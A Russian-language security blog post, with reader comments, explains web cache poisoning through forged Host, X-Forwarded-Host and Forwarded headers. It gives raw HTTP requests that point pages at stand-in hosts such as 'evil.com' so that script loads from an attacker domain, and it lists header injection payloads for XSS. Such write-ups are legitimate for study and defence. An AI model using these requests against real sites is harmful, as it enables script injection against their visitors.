Skip to main content

Отравление кэша веб-приложений

By 8 мая 2018Blog

Кэширование облегчает жизнь всем — и клиентам, которые быстрее получают данные, и серверам, которые значительно экономят на ресурсах. Некоторые даже построили на этом бизнес, строя сети CDN и предоставляя кэширование как услугу.

Некоторые окружения настроены таким образом, что статичные файлы кэшируются по расширению. Например кэш распространяется на такие файлы как css или js.

Подобным поведением воспользовался Omer Gil, который заметил, что если веб-приложение отвечает “200 OK” на несуществующий URL, то подставив к нему расширение одного из статичных е (например, css), то такая страница кэшируется и станет доступна анонимному пользователю (атакующему). Более подробно можно прочитать в его блоге.

Существуют различные примеры конфигураций кэша и его тонкая настройка, однако, также существуют и уязвимые механизмы кэширования, о которых я расскажу. Это порождает такие атаки как обман кэширования (cache deception) и его отравление (cache poisoning)

Особенности некоторых веб-приложений

Многие сайты настроены таким образом, что вставляют на страницу текущий домен. То есть для этого достаточно, чтобы имелся подобный фрагмент конфига nginx:


server {
   listen       80;
   server_name  _; // принимать любой домен
   ...
}

И само веб-приложение использовало $_SERVER[‘HTTP_HOST’] или его аналог.

При посещении страницы mysite/index.php на странице будет подобный код:


<script src='https://mysite/assets/js/jquery.js'></script>

Однако, если отправить HTTP-запрос с своим заголовком Host

GET /index.php HTTP/1.1
Host: evil

на страницу попадут уже такие данные:


<script src='https://evil/assets/js/jquery.js'></script>

Если мы изменим имя домена, то и изменятся пути подгрузки ресурсов или ссылки на страницы. Я думаю ты встречал подобные сайты, но ты понимаешь, что нельзя передать пользователю ссылку с своим заголовком Host. 

 

Иногда можно.

Пара слов о кэшировании

Кэширование можно выделить на несколько режимов:

Кэширование файлов без параметров

https://mysite/pic.jpg — попадет в кэш

https://mysite/pic.jpg?myparam=test — в кэш не попадает, как и другие страницы с параметрами в ссылке.

 

Игнорирование параметров

https://mysite/pic.jpg?myparam=test

https://mysite/pic.jpg?myparam=test&myparam2=test2

Вернет кэш запроса https://mysite/pic.jpg

 

Кэширование каждого уникального URL-адреса

https://mysite/pic.jpg?myparam=test

https://mysite/pic.jpg?myparam2=test2

Каждой уникальной ссылке — свой кэш.

Именно поэтому часть ресурсов кэшируют первое обращение к странице, если до этого таких параметров не было.

Отравление кэша

Идея атаки в том, что мы подменяя заголовок Host дополнительно создаем уникальную ссылку, которая еще не присутствовала в веб-приложении


GET /?MyUniqParam=test1337 HTTP/1.1
Host: evil.com

Если такая ссылка попадет в кэш (а в некоторых случаях так и происходит) — мы можем подгрузить js с ресурса, который мы контролируем!

 

Отдав ссылку https://mysite/?MyUniqParam=test1337 жертве мы автоматически получаем возможность выполнить XSS атаку, так как на странице уже заранее сохранен наш домен


<script src='https://evil.com/assets/js/jquery.js'></script>

Или, например, так:

И еще немного трюков

Еще одним вариантом передачи заголовка может служить следующее обращение к ресурсу:


GET https://evil/?myparam=test
Host: mysite

Если пользовательские данные, которые попадают на страницу, не позволяют выполнить атаку, можно попробовать изменить содержимое заголовка.

Для начала стоит попробовать сделать классическую HTML Injection, передав в качестве значения заголовка какой-нибудь XSS вектор.

Но часто может помочь другой трюк. Некоторые веб-сервера игнорируют содержимое заголовка Host после знака двоеточия, который может также попасть в содержимое страницы.

Поэтому первым делом попробуй отправить подобный запрос:


Host: mysite:"><xss>

Если все таки такие символы фильтруются, можно попробовать добавить символ «@»:


Host: mysite:@evil

В сформированной ссылке это позволяет отбросить часть данных — mysite уйдет как логин для basic auth, а конечным хостом станет evil

Еще одним трюком, если ничего не помогло, можно попробовать дописать свои данные через пробел:


Host: mysite "><xss>

В некоторых случаях заголовки X-Forwarded-Host и Forwarded могут переписать текущее значение Host.  Заголовок можно просто дописать вместе легитимным заголовком:


GET /?myparam=test HTTP/1.1
Host: mysite
X-Forwarded-Host: evil

Заголовок Forwarded выглядит немного по-другому, но суть та же:


GET /?myparam=test HTTP/1.1
Host: mysite
Forwarded: host=evil

Если кэширование настроено на определенные директории или форматы файлов, можно также попробовать эксплуатировать атаку создавая уникальную ссылку не параметрами к странице, а с помощью добавления расширения, таким как css или js. Или попытаться обратиться к директориям, в которых возможно, настроено агрессивное кэширование, например /static/, /js/, /upload/.

Вывод — не весь кэш одинаково полезен. Помимо заголовка Host можно попробовать использовать и другие данные, которые попадают на страницу, например, такие как User-agent или Referer. Из-за особенностей работы веб-приложений можно отравить кэш, как следствие — выполнять атаки на клиентов. Пробуй 🙂

Join the discussion 6 комментариев

  • Привет. Ты пишешь для Хакера (_ttps://xakep.ru/2018/06/19/git-rce/) или просто сослались на тебя?

  • Mr. Piklz:

    Добрый день. Не так давно наткнулся на Ваш блог. Являюсь Kiddy в вопросах web app security. Мне интересна данная тема. Изучаю, пробую, но порой процесс встает колом, из-за того, что не понятно куда двигаться дальше.
    Как Я вижу, Вас как опытного web sec researcher, с высоты Вашего опыта, не могли бы вы дать пару советов, как развиваться, куда двигаться?
    Что нужно знать во первых, во вторых, и т.д.
    Естественные проблемы это опыт и время
    Ваш ответ мог бы стать интересен многим, кто вертится в данной теме. Понятно, что она не проста и многие сами собой отвалятся за нежеланием учиться и тратить время.
    Но тем единицам, которые готовы пойти до конца, Я думаю было бы очень полезно получить пару «опытных» советов.
    Thx, mr.Piklz

    • Mr. Pirlz:

      Часто пишут про «опытного» наставника. K сожалению, Я пока что нe нашeл рeшeния этoгo вопросa :С
      mr. Piklz

  • Марат:

    А как это экплатировать? Типо host для XSS же невозможно подделать в браузерах?

    • Oleg:

      Ты создаешь уникальную ссылку, которая сохраняется в кэше с вредоносным кодом. Далее отправляешь ссылку пользователю.

  • DBA:

    Отличная статья. Не задумывался ранее, что кэширование является такой дырой в безопасности…

Leave a Reply